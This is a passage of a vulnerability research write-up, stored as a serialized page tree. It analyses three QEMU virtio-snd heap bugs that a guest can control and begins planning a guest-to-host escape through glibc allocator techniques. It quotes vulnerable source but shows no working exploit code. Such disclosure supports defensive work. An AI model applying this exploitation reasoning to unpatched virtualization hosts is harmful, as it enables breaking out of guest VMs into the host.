AUD_read",{"type":23,"tag":314,"props":124466,"children":124467},{"style":338},[124468],{"type":28,"value":341},{"type":23,"tag":314,"props":124470,"children":124471},{"style":360},[124472],{"type":28,"value":35510},{"type":23,"tag":314,"props":124474,"children":124475},{"style":338},[124476],{"type":28,"value":1015},{"type":23,"tag":314,"props":124478,"children":124479},{"style":360},[124480],{"type":28,"value":124481},"voice",{"type":23,"tag":314,"props":124483,"children":124484},{"style":338},[124485],{"type":28,"value":282},{"type":23,"tag":314,"props":124487,"children":124488},{"style":360},[124489],{"type":28,"value":94750},{"type":23,"tag":314,"props":124491,"children":124492},{"style":338},[124493],{"type":28,"value":1870},{"type":23,"tag":314,"props":124495,"children":124496},{"class":316,"line":1873},[124497,124502,124506,124510,124514,124519,124523,124527],{"type":23,"tag":314,"props":124498,"children":124499},{"style":360},[124500],{"type":28,"value":124501}," buffer",{"type":23,"tag":314,"props":124503,"children":124504},{"style":338},[124505],{"type":28,"value":1015},{"type":23,"tag":314,"props":124507,"children":124508},{"style":360},[124509],{"type":28,"value":249},{"type":23,"tag":314,"props":124511,"children":124512},{"style":354},[124513],{"type":28,"value":1572},{"type":23,"tag":314,"props":124515,"children":124516},{"style":360},[124517],{"type":28,"value":124518}," buffer",{"type":23,"tag":314,"props":124520,"children":124521},{"style":338},[124522],{"type":28,"value":1015},{"type":23,"tag":314,"props":124524,"children":124525},{"style":360},[124526],{"type":28,"value":123512},{"type":23,"tag":314,"props":124528,"children":124529},{"style":338},[124530],{"type":28,"value":1870},{"type":23,"tag":314,"props":124532,"children":124533},{"class":316,"line":1891},[124534,124539,124544,124548,124552,124556,124560,124565,124569],{"type":23,"tag":314,"props":124535,"children":124536},{"style":332},[124537],{"type":28,"value":124538}," MIN",{"type":23,"tag":314,"props":124540,"children":124541},{"style":338},[124542],{"type":28,"value":124543},"(available, (",{"type":23,"tag":314,"props":124545,"children":124546},{"style":360},[124547],{"type":28,"value":35510},{"type":23,"tag":314,"props":124549,"children":124550},{"style":338},[124551],{"type":28,"value":1015},{"type":23,"tag":314,"props":124553,"children":124554},{"style":360},[124555],{"type":28,"value":97534},{"type":23,"tag":314,"props":124557,"children":124558},{"style":338},[124559],{"type":28,"value":282},{"type":23,"tag":314,"props":124561,"children":124562},{"style":360},[124563],{"type":28,"value":124564},"period_bytes",{"type":23,"tag":314,"props":124566,"children":124567},{"style":354},[124568],{"type":28,"value":50506},{"type":23,"tag":314,"props":124570,"children":124571},{"style":374},[124572],{"type":28,"value":124573}," // [3]\n",{"type":23,"tag":314,"props":124575,"children":124576},{"class":316,"line":1899},[124577,124582,124586,124590],{"type":23,"tag":314,"props":124578,"children":124579},{"style":360},[124580],{"type":28,"value":124581}," buffer",{"type":23,"tag":314,"props":124583,"children":124584},{"style":338},[124585],{"type":28,"value":1015},{"type":23,"tag":314,"props":124587,"children":124588},{"style":360},[124589],{"type":28,"value":123512},{"type":23,"tag":314,"props":124591,"children":124592},{"style":338},[124593],{"type":28,"value":124594},")));\n",{"type":23,"tag":314,"props":124596,"children":124597},{"class":316,"line":1944},[124598,124602,124606,124610],{"type":23,"tag":314,"props":124599,"children":124600},{"style":2284},[124601],{"type":28,"value":102772},{"type":23,"tag":314,"props":124603,"children":124604},{"style":338},[124605],{"type":28,"value":2324},{"type":23,"tag":314,"props":124607,"children":124608},{"style":354},[124609],{"type":28,"value":19859},{"type":23,"tag":314,"props":124611,"children":124612},{"style":338},[124613],{"type":28,"value":124614},"size) {\n",{"type":23,"tag":314,"props":124616,"children":124617},{"class":316,"line":2008},[124618,124623,124627,124631],{"type":23,"tag":314,"props":124619,"children":124620},{"style":338},[124621],{"type":28,"value":124622}," available ",{"type":23,"tag":314,"props":124624,"children":124625},{"style":354},[124626],{"type":28,"value":1102},{"type":23,"tag":314,"props":124628,"children":124629},{"style":1054},[124630],{"type":28,"value":1201},{"type":23,"tag":314,"props":124632,"children":124633},{"style":338},[124634],{"type":28,"value":2278},{"type":23,"tag":314,"props":124636,"children":124637},{"class":316,"line":2043},[124638,124642],{"type":23,"tag":314,"props":124639,"children":124640},{"style":2284},[124641],{"type":28,"value":124436},{"type":23,"tag":314,"props":124643,"children":124644},{"style":338},[124645],{"type":28,"value":2278},{"type":23,"tag":314,"props":124647,"children":124648},{"class":316,"line":22803},[124649],{"type":23,"tag":314,"props":124650,"children":124651},{"style":338},[124652],{"type":28,"value":70324},{"type":23,"tag":314,"props":124654,"children":124655},{"class":316,"line":22845},[124656,124660,124664,124668,124672],{"type":23,"tag":314,"props":124657,"children":124658},{"style":360},[124659],{"type":28,"value":124313},{"type":23,"tag":314,"props":124661,"children":124662},{"style":338},[124663],{"type":28,"value":1015},{"type":23,"tag":314,"props":124665,"children":124666},{"style":360},[124667],{"type":28,"value":123512},{"type":23,"tag":314,"props":124669,"children":124670},{"style":354},[124671],{"type":28,"value":14307},{"type":23,"tag":314,"props":124673,"children":124674},{"style":338},[124675],{"type":28,"value":123854},{"type":23,"tag":314,"props":124677,"children":124678},{"class":316,"line":22878},[124679,124684,124688],{"type":23,"tag":314,"props":124680,"children":124681},{"style":338},[124682],{"type":28,"value":124683}," available ",{"type":23,"tag":314,"props":124685,"children":124686},{"style":354},[124687],{"type":28,"value":103237},{"type":23,"tag":314,"props":124689,"children":124690},{"style":338},[124691],{"type":28,"value":123854},{"type":23,"tag":314,"props":124693,"children":124694},{"class":316,"line":22886},[124695],{"type":23,"tag":314,"props":124696,"children":124697},{"style":338},[124698],{"type":28,"value":124699}," [...]\n",{"type":23,"tag":314,"props":124701,"children":124702},{"class":316,"line":22894},[124703],{"type":23,"tag":314,"props":124704,"children":124705},{"style":338},[124706],{"type":28,"value":58136},{"type":23,"tag":314,"props":124708,"children":124709},{"class":316,"line":22903},[124710],{"type":23,"tag":314,"props":124711,"children":124712},{"style":338},[124713],{"type":28,"value":2602},{"type":23,"tag":314,"props":124715,"children":124716},{"class":316,"line":22979},[124717],{"type":23,"tag":314,"props":124718,"children":124719},{"style":338},[124720],{"type":28,"value":2610},{"type":23,"tag":314,"props":124722,"children":124723},{"class":316,"line":23012},[124724],{"type":23,"tag":314,"props":124725,"children":124726},{"style":338},[124727],{"type":28,"value":386},{"type":23,"tag":24,"props":124729,"children":124730},{},[124731,124732,124737,124738,124744,124746,124752,124754,124759,124760,124765,124767,124772],{"type":28,"value":123634},{"type":23,"tag":94,"props":124733,"children":124735},{"className":124734},[],[124736],{"type":28,"value":123640},{"type":28,"value":778},{"type":23,"tag":94,"props":124739,"children":124741},{"className":124740},[],[124742],{"type":28,"value":124743},"max_size",{"type":28,"value":124745}," is set to ",{"type":23,"tag":94,"props":124747,"children":124749},{"className":124748},[],[124750],{"type":28,"value":124751},"iov_size(in_sg, in_num)",{"type":28,"value":124753},". Both ",{"type":23,"tag":94,"props":124755,"children":124757},{"className":124756},[],[124758],{"type":28,"value":123365},{"type":28,"value":557},{"type":23,"tag":94,"props":124761,"children":124763},{"className":124762},[],[124764],{"type":28,"value":123382},{"type":28,"value":124766}," are the same guest-controlled fields from ",{"type":23,"tag":94,"props":124768,"children":124770},{"className":124769},[],[124771],{"type":28,"value":123017},{"type":28,"value":282},{"type":23,"tag":24,"props":124774,"children":124775},{},[124776,124778,124783,124785,124791,124793,124799,124801,124807],{"type":28,"value":124777},"Later, at ",{"type":23,"tag":94,"props":124779,"children":124781},{"className":124780},[],[124782],{"type":28,"value":123675},{"type":28,"value":124784},", the code checks whether ",{"type":23,"tag":94,"props":124786,"children":124788},{"className":124787},[],[124789],{"type":28,"value":124790},"buffer->size >= max_size",{"type":28,"value":124792},". In the RX path, ",{"type":23,"tag":94,"props":124794,"children":124796},{"className":124795},[],[124797],{"type":28,"value":124798},"buffer->size",{"type":28,"value":124800}," tracks how many bytes have been written into ",{"type":23,"tag":94,"props":124802,"children":124804},{"className":124803},[],[124805],{"type":28,"value":124806},"buffer->data",{"type":28,"value":124808},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":124810,"children":124811},{},[124812,124814,124819,124821,124827,124829,124834,124836,124842],{"type":28,"value":124813},"However, this does not match the allocation logic in ",{"type":23,"tag":94,"props":124815,"children":124817},{"className":124816},[],[124818],{"type":28,"value":123017},{"type":28,"value":124820},", which used: ",{"type":23,"tag":94,"props":124822,"children":124824},{"className":124823},[],[124825],{"type":28,"value":124826},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":124828},". In other words, the allocation subtracts ",{"type":23,"tag":94,"props":124830,"children":124832},{"className":124831},[],[124833],{"type":28,"value":123741},{"type":28,"value":124835},", but the later bound in ",{"type":23,"tag":94,"props":124837,"children":124839},{"className":124838},[],[124840],{"type":28,"value":124841},"virtio_snd_pcm_in_cb",{"type":28,"value":124843}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":124845,"children":124846},{},[124847,124849,124854,124856,124862,124864,124870,124872,124877,124879,124885,124887,124893,124895,124900,124902,124907],{"type":28,"value":124848},"Finally, at ",{"type":23,"tag":94,"props":124850,"children":124852},{"className":124851},[],[124853],{"type":28,"value":123699},{"type":28,"value":124855},", the code calls ",{"type":23,"tag":94,"props":124857,"children":124859},{"className":124858},[],[124860],{"type":28,"value":124861},"AUD_read",{"type":28,"value":124863}," with the following limit:\n",{"type":23,"tag":94,"props":124865,"children":124867},{"className":124866},[],[124868],{"type":28,"value":124869},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":124871},". Notice how this bound does not take ",{"type":23,"tag":94,"props":124873,"children":124875},{"className":124874},[],[124876],{"type":28,"value":124743},{"type":28,"value":124878}," into account at all. That means if ",{"type":23,"tag":94,"props":124880,"children":124882},{"className":124881},[],[124883],{"type":28,"value":124884},"available",{"type":28,"value":124886}," is larger than the allocated buffer, and ",{"type":23,"tag":94,"props":124888,"children":124890},{"className":124889},[],[124891],{"type":28,"value":124892},"stream->params.period_bytes",{"type":28,"value":124894}," is also larger than the allocated buffer, ",{"type":23,"tag":94,"props":124896,"children":124898},{"className":124897},[],[124899],{"type":28,"value":124861},{"type":28,"value":124901}," will write past the end of ",{"type":23,"tag":94,"props":124903,"children":124905},{"className":124904},[],[124906],{"type":28,"value":124806},{"type":28,"value":124908}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":124910,"children":124911},{},[124912,124914,124919,124921,124927],{"type":28,"value":124913},"Looking further at the code, we can see that ",{"type":23,"tag":94,"props":124915,"children":124917},{"className":124916},[],[124918],{"type":28,"value":124892},{"type":28,"value":124920}," is fully guest-controlled by issuing a ",{"type":23,"tag":94,"props":124922,"children":124924},{"className":124923},[],[124925],{"type":28,"value":124926},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":124928}," request:",{"type":23,"tag":304,"props":124930,"children":124932},{"code":124931,"language":308,"meta":7,"className":306,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[124933],{"type":23,"tag":94,"props":124934,"children":124935},{"__ignoreMap":7},[124936,124944,124973,124990,125010,125017,125034,125041,125048,125055,125077,125084,125091,125098,125144,125187,125231,125239,125276,125312,125348,125355,125372],{"type":23,"tag":314,"props":124937,"children":124938},{"class":316,"line":317},[124939],{"type":23,"tag":314,"props":124940,"children":124941},{"style":321},[124942],{"type":28,"value":124943},"static\n",{"type":23,"tag":314,"props":124945,"children":124946},{"class":316,"line":370},[124947,124951,124956,124961,124965,124969],{"type":23,"tag":314,"props":124948,"children":124949},{"style":321},[124950],{"type":28,"value":57184},{"type":23,"tag":314,"props":124952,"children":124953},{"style":332},[124954],{"type":28,"value":124955}," virtio_snd_set_pcm_params",{"type":23,"tag":314,"props":124957,"children":124958},{"style":338},[124959],{"type":28,"value":124960},"(VirtIOSound ",{"type":23,"tag":314,"props":124962,"children":124963},{"style":354},[124964],{"type":28,"value":256},{"type":23,"tag":314,"props":124966,"children":124967},{"style":360},[124968],{"type":28,"value":9900},{"type":23,"tag":314,"props":124970,"children":124971},{"style":338},[124972],{"type":28,"value":1870},{"type":23,"tag":314,"props":124974,"children":124975},{"class":316,"line":380},[124976,124981,124986],{"type":23,"tag":314,"props":124977,"children":124978},{"style":321},[124979],{"type":28,"value":124980}," uint32_t",{"type":23,"tag":314,"props":124982,"children":124983},{"style":360},[124984],{"type":28,"value":124985}," stream_id",{"type":23,"tag":314,"props":124987,"children":124988},{"style":338},[124989],{"type":28,"value":1870},{"type":23,"tag":314,"props":124991,"children":124992},{"class":316,"line":1091},[124993,124998,125002,125006],{"type":23,"tag":314,"props":124994,"children":124995},{"style":338},[124996],{"type":28,"value":124997}," virtio_snd_pcm_set_params ",{"type":23,"tag":314,"props":124999,"children":125000},{"style":354},[125001],{"type":28,"value":256},{"type":23,"tag":314,"props":125003,"children":125004},{"style":360},[125005],{"type":28,"value":97534},{"type":23,"tag":314,"props":125007,"children":125008},{"style":338},[125009],{"type":28,"value":2414},{"type":23,"tag":314,"props":125011,"children":125012},{"class":316,"line":1141},[125013],{"type":23,"tag":314,"props":125014,"children":125015},{"style":338},[125016],{"type":28,"value":10129},{"type":23,"tag":314,"props":125018,"children":125019},{"class":316,"line":1173},[125020,125025,125029],{"type":23,"tag":314,"props":125021,"children":125022},{"style":338},[125023],{"type":28,"value":125024}," virtio_snd_pcm_set_params ",{"type":23,"tag":314,"props":125026,"children":125027},{"style":354},[125028],{"type":28,"value":256},{"type":23,"tag":314,"props":125030,"children":125031},{"style":338},[125032],{"type":28,"value":125033},"st_params;\n",{"type":23,"tag":314,"props":125035,"children":125036},{"class":316,"line":1208},[125037],{"type":23,"tag":314,"props":125038,"children":125039},{"emptyLinePlaceholder":18},[125040],{"type":28,"value":1088},{"type":23,"tag":314,"props":125042,"children":125043},{"class":316,"line":1216},[125044],{"type":23,"tag":314,"props":125045,"children":125046},{"style":338},[125047],{"type":28,"value":104053},{"type":23,"tag":314,"props":125049,"children":125050},{"class":316,"line":1301},[125051],{"type":23,"tag":314,"props":125052,"children":125053},{"emptyLinePlaceholder":18},[125054],{"type":28,"value":1088},{"type":23,"tag":314,"props":125056,"children":125057},{"class":316,"line":1343},[125058,125063,125067,125072],{"type":23,"tag":314,"props":125059,"children":125060},{"style":338},[125061],{"type":28,"value":125062}," st_params ",{"type":23,"tag":314,"props":125064,"children":125065},{"style":354},[125066],{"type":28,"value":1102},{"type":23,"tag":314,"props":125068,"children":125069},{"style":332},[125070],{"type":28,"value":125071}," virtio_snd_pcm_get_params",{"type":23,"tag":314,"props":125073,"children":125074},{"style":338},[125075],{"type":28,"value":125076},"(s, stream_id);\n",{"type":23,"tag":314,"props":125078,"children":125079},{"class":316,"line":1351},[125080],{"type":23,"tag":314,"props":125081,"children":125082},{"emptyLinePlaceholder":18},[125083],{"type":28,"value":1088},{"type":23,"tag":314,"props":125085,"children":125086},{"class":316,"line":1387},[125087],{"type":23,"tag":314,"props":125088,"children":125089},{"style":338},[125090],{"type":28,"value":104053},{"type":23,"tag":314,"props":125092,"children":125093},{"class":316,"line":1422},[125094],{"type":23,"tag":314,"props":125095,"children":125096},{"emptyLinePlaceholder":18},[125097],{"type":28,"value":1088},{"type":23,"tag":314,"props":125099,"children":125100},{"class":316,"line":1430},[125101,125106,125110,125115,125119,125124,125128,125132,125136,125140],{"type":23,"tag":314,"props":125102,"children":125103},{"style":360},[125104],{"type":28,"value":125105}," st_params",{"type":23,"tag":314,"props":125107,"children":125108},{"style":338},[125109],{"type":28,"value":1015},{"type":23,"tag":314,"props":125111,"children":125112},{"style":360},[125113],{"type":28,"value":125114},"buffer_bytes",{"type":23,"tag":314,"props":125116,"children":125117},{"style":354},[125118],{"type":28,"value":1237},{"type":23,"tag":314,"props":125120,"children":125121},{"style":332},[125122],{"type":28,"value":125123}," le32_to_cpu",{"type":23,"tag":314,"props":125125,"children":125126},{"style":338},[125127],{"type":28,"value":341},{"type":23,"tag":314,"props":125129,"children":125130},{"style":360},[125131],{"type":28,"value":97534},{"type":23,"tag":314,"props":125133,"children":125134},{"style":338},[125135],{"type":28,"value":1015},{"type":23,"tag":314,"props":125137,"children":125138},{"style":360},[125139],{"type":28,"value":125114},{"type":23,"tag":314,"props":125141,"children":125142},{"style":338},[125143],{"type":28,"value":1025},{"type":23,"tag":314,"props":125145,"children":125146},{"class":316,"line":1452},[125147,125151,125155,125159,125163,125167,125171,125175,125179,125183],{"type":23,"tag":314,"props":125148,"children":125149},{"style":360},[125150],{"type":28,"value":125105},{"type":23,"tag":314,"props":125152,"children":125153},{"style":338},[125154],{"type":28,"value":1015},{"type":23,"tag":314,"props":125156,"children":125157},{"style":360},[125158],{"type":28,"value":124564},{"type":23,"tag":314,"props":125160,"children":125161},{"style":354},[125162],{"type":28,"value":1237},{"type":23,"tag":314,"props":125164,"children":125165},{"style":332},[125166],{"type":28,"value":125123},{"type":23,"tag":314,"props":125168,"children":125169},{"style":338},[125170],{"type":28,"value":341},{"type":23,"tag":314,"props":125172,"children":125173},{"style":360},[125174],{"type":28,"value":97534},{"type":23,"tag":314,"props":125176,"children":125177},{"style":338},[125178],{"type":28,"value":1015},{"type":23,"tag":314,"props":125180,"children":125181},{"style":360},[125182],{"type":28,"value":124564},{"type":23,"tag":314,"props":125184,"children":125185},{"style":338},[125186],{"type":28,"value":1025},{"type":23,"tag":314,"props":125188,"children":125189},{"class":316,"line":1497},[125190,125194,125198,125203,125207,125211,125215,125219,125223,125227],{"type":23,"tag":314,"props":125191,"children":125192},{"style":360},[125193],{"type":28,"value":125105},{"type":23,"tag":314,"props":125195,"children":125196},{"style":338},[125197],{"type":28,"value":1015},{"type":23,"tag":314,"props":125199,"children":125200},{"style":360},[125201],{"type":28,"value":125202},"features",{"type":23,"tag":314,"props":125204,"children":125205},{"style":354},[125206],{"type":28,"value":1237},{"type":23,"tag":314,"props":125208,"children":125209},{"style":332},[125210],{"type":28,"value":125123},{"type":23,"tag":314,"props":125212,"children":125213},{"style":338},[125214],{"type":28,"value":341},{"type":23,"tag":314,"props":125216,"children":125217},{"style":360},[125218],{"type":28,"value":97534},{"type":23,"tag":314,"props":125220,"children":125221},{"style":338},[125222],{"type":28,"value":1015},{"type":23,"tag":314,"props":125224,"children":125225},{"style":360},[125226],{"type":28,"value":125202},{"type":23,"tag":314,"props":125228,"children":125229},{"style":338},[125230],{"type":28,"value":1025},{"type":23,"tag":314,"props":125232,"children":125233},{"class":316,"line":1539},[125234],{"type":23,"tag":314,"props":125235,"children":125236},{"style":374},[125237],{"type":28,"value":125238}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":314,"props":125240,"children":125241},{"class":316,"line":1548},[125242,125246,125250,125255,125259,125264,125268,125272],{"type":23,"tag":314,"props":125243,"children":125244},{"style":360},[125245],{"type":28,"value":125105},{"type":23,"tag":314,"props":125247,"children":125248},{"style":338},[125249],{"type":28,"value":1015},{"type":23,"tag":314,"props":125251,"children":125252},{"style":360},[125253],{"type":28,"value":125254},"channels",{"type":23,"tag":314,"props":125256,"children":125257},{"style":354},[125258],{"type":28,"value":1237},{"type":23,"tag":314,"props":125260,"children":125261},{"style":360},[125262],{"type":28,"value":125263}," params",{"type":23,"tag":314,"props":125265,"children":125266},{"style":338},[125267],{"type":28,"value":1015},{"type":23,"tag":314,"props":125269,"children":125270},{"style":360},[125271],{"type":28,"value":125254},{"type":23,"tag":314,"props":125273,"children":125274},{"style":338},[125275],{"type":28,"value":2278},{"type":23,"tag":314,"props":125277,"children":125278},{"class":316,"line":1584},[125279,125283,125287,125292,125296,125300,125304,125308],{"type":23,"tag":314,"props":125280,"children":125281},{"style":360},[125282],{"type":28,"value":125105},{"type":23,"tag":314,"props":125284,"children":125285},{"style":338},[125286],{"type":28,"value":1015},{"type":23,"tag":314,"props":125288,"children":125289},{"style":360},[125290],{"type":28,"value":125291},"format",{"type":23,"tag":314,"props":125293,"children":125294},{"style":354},[125295],{"type":28,"value":1237},{"type":23,"tag":314,"props":125297,"children":125298},{"style":360},[125299],{"type":28,"value":125263},{"type":23,"tag":314,"props":125301,"children":125302},{"style":338},[125303],{"type":28,"value":1015},{"type":23,"tag":314,"props":125305,"children":125306},{"style":360},[125307],{"type":28,"value":125291},{"type":23,"tag":314,"props":125309,"children":125310},{"style":338},[125311],{"type":28,"value":2278},{"type":23,"tag":314,"props":125313,"children":125314},{"class":316,"line":1617},[125315,125319,125323,125328,125332,125336,125340,125344],{"type":23,"tag":314,"props":125316,"children":125317},{"style":360},[125318],{"type":28,"value":125105},{"type":23,"tag":314,"props":125320,"children":125321},{"style":338},[125322],{"type":28,"value":1015},{"type":23,"tag":314,"props":125324,"children":125325},{"style":360},[125326],{"type":28,"value":125327},"rate",{"type":23,"tag":314,"props":125329,"children":125330},{"style":354},[125331],{"type":28,"value":1237},{"type":23,"tag":314,"props":125333,"children":125334},{"style":360},[125335],{"type":28,"value":125263},{"type":23,"tag":314,"props":125337,"children":125338},{"style":338},[125339],{"type":28,"value":1015},{"type":23,"tag":314,"props":125341,"children":125342},{"style":360},[125343],{"type":28,"value":125327},{"type":23,"tag":314,"props":125345,"children":125346},{"style":338},[125347],{"type":28,"value":2278},{"type":23,"tag":314,"props":125349,"children":125350},{"class":316,"line":1625},[125351],{"type":23,"tag":314,"props":125352,"children":125353},{"emptyLinePlaceholder":18},[125354],{"type":28,"value":1088},{"type":23,"tag":314,"props":125356,"children":125357},{"class":316,"line":1660},[125358,125362,125367],{"type":23,"tag":314,"props":125359,"children":125360},{"style":2284},[125361],{"type":28,"value":16228},{"type":23,"tag":314,"props":125363,"children":125364},{"style":332},[125365],{"type":28,"value":125366}," cpu_to_le32",{"type":23,"tag":314,"props":125368,"children":125369},{"style":338},[125370],{"type":28,"value":125371},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":314,"props":125373,"children":125374},{"class":316,"line":1708},[125375],{"type":23,"tag":314,"props":125376,"children":125377},{"style":338},[125378],{"type":28,"value":386},{"type":23,"tag":24,"props":125380,"children":125381},{},[125382,125384,125389,125391,125397,125399,125404,125406,125411,125413,125419,125420,125425],{"type":28,"value":125383},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":94,"props":125385,"children":125387},{"className":125386},[],[125388],{"type":28,"value":2677},{"type":28,"value":125390},") and signed (",{"type":23,"tag":94,"props":125392,"children":125394},{"className":125393},[],[125395],{"type":28,"value":125396},"s8",{"type":28,"value":125398},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":94,"props":125400,"children":125402},{"className":125401},[],[125403],{"type":28,"value":28688},{"type":28,"value":125405}," in ",{"type":23,"tag":94,"props":125407,"children":125409},{"className":125408},[],[125410],{"type":28,"value":2677},{"type":28,"value":125412},", but ",{"type":23,"tag":94,"props":125414,"children":125416},{"className":125415},[],[125417],{"type":28,"value":125418},"0x00",{"type":28,"value":125405},{"type":23,"tag":94,"props":125421,"children":125423},{"className":125422},[],[125424],{"type":28,"value":125396},{"type":28,"value":282},{"type":23,"tag":18031,"props":125427,"children":125428},{},[],{"type":23,"tag":24,"props":125430,"children":125431},{},[125432],{"type":28,"value":125433},"To summarize:",{"type":23,"tag":84,"props":125435,"children":125436},{},[125437,125456,125474],{"type":23,"tag":88,"props":125438,"children":125439},{},[125440,125442,125447,125449,125454],{"type":28,"value":125441},"an integer underflow in the ",{"type":23,"tag":94,"props":125443,"children":125445},{"className":125444},[],[125446],{"type":28,"value":123512},{"type":28,"value":125448}," calculation in ",{"type":23,"tag":94,"props":125450,"children":125452},{"className":125451},[],[125453],{"type":28,"value":123017},{"type":28,"value":125455},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":88,"props":125457,"children":125458},{},[125459,125461,125466,125467,125472],{"type":28,"value":125460},"a mismatch in the ",{"type":23,"tag":94,"props":125462,"children":125464},{"className":125463},[],[125465],{"type":28,"value":124743},{"type":28,"value":125448},{"type":23,"tag":94,"props":125468,"children":125470},{"className":125469},[],[125471],{"type":28,"value":124841},{"type":28,"value":125473},", leading to at most 8-byte OOB write",{"type":23,"tag":88,"props":125475,"children":125476},{},[125477,125479,125484,125486,125491,125493,125498],{"type":28,"value":125478},"a missing bound in the ",{"type":23,"tag":94,"props":125480,"children":125482},{"className":125481},[],[125483],{"type":28,"value":123512},{"type":28,"value":125485}," passed to ",{"type":23,"tag":94,"props":125487,"children":125489},{"className":125488},[],[125490],{"type":28,"value":124861},{"type":28,"value":125492},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":94,"props":125494,"children":125496},{"className":125495},[],[125497],{"type":28,"value":124884},{"type":28,"value":81541},{"type":23,"tag":24,"props":125500,"children":125501},{},[125502,125504,125509,125511,125516,125518,125524],{"type":28,"value":125503},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":94,"props":125505,"children":125507},{"className":125506},[],[125508],{"type":28,"value":124884},{"type":28,"value":125510},", but in our setup with the ALSA backend, ",{"type":23,"tag":94,"props":125512,"children":125514},{"className":125513},[],[125515],{"type":28,"value":124884},{"type":28,"value":125517}," was consistently around ",{"type":23,"tag":94,"props":125519,"children":125521},{"className":125520},[],[125522],{"type":28,"value":125523},"4096",{"type":28,"value":282},{"type":23,"tag":24,"props":125526,"children":125527},{},[125528,125530,125537,125538,125545],{"type":28,"value":125529},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":31,"props":125531,"children":125534},{"href":125532,"rel":125533},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[35],[125535],{"type":28,"value":125536},"commit 1",{"type":28,"value":778},{"type":23,"tag":31,"props":125539,"children":125542},{"href":125540,"rel":125541},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[35],[125543],{"type":28,"value":125544},"commit 2",{"type":28,"value":125546},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":61,"props":125548,"children":125549},{"id":99360},[125550],{"type":28,"value":99363},{"type":23,"tag":24,"props":125552,"children":125553},{},[125554],{"type":28,"value":125555},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":125557,"children":125558},{},[125559],{"type":28,"value":125560},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":837,"props":125562,"children":125564},{"id":125563},"achieving-a-better-primitive",[125565],{"type":28,"value":125566},"Achieving a Better Primitive",{"type":23,"tag":24,"props":125568,"children":125569},{},[125570],{"type":28,"value":125571},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":125573,"children":125574},{},[125575],{"type":28,"value":125576},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":125578,"children":125579},{},[125580],{"type":28,"value":125581},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":18130,"props":125583,"children":125585},{"id":125584},"glibc-allocator",[125586],{"type":28,"value":125587},"Glibc Allocator",{"type":23,"tag":24,"props":125589,"children":125590},{},[125591,125593,125600],{"type":28,"value":125592},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":31,"props":125594,"children":125597},{"href":125595,"rel":125596},"https://github.com/shellphish/how2heap",[35],[125598],{"type":28,"value":125599},"how2heap",{"type":28,"value":282},{"type":23,"tag":36595,"props":125602,"children":125604},{"id":125603},"chunk-layout-and-bins",[125605],{"type":28,"value":125606},"Chunk Layout and Bins",{"type":23,"tag":24,"props":125608,"children":125609},{},[125610],{"type":28,"value":125611},"A chunk looks like this:",{"type":23,"tag":304,"props":125613,"children":125615},{"code":125614}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[125616],{"type":23,"tag":94,"props":125617,"children":125618},{"__ignoreMap":7},[125619],{"type":28,"value":125614},{"type":23,"tag":24,"props":125621,"children":125622},{},[125623,125625,125631,125633,125639,125640,125645,125646,125652,125654,125659,125661,125666,125668,125674,125675,125681,125683,125689],{"type":28,"value":125624},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":94,"props":125626,"children":125628},{"className":125627},[],[125629],{"type":28,"value":125630},"prev_size",{"type":28,"value":125632}," field at offset 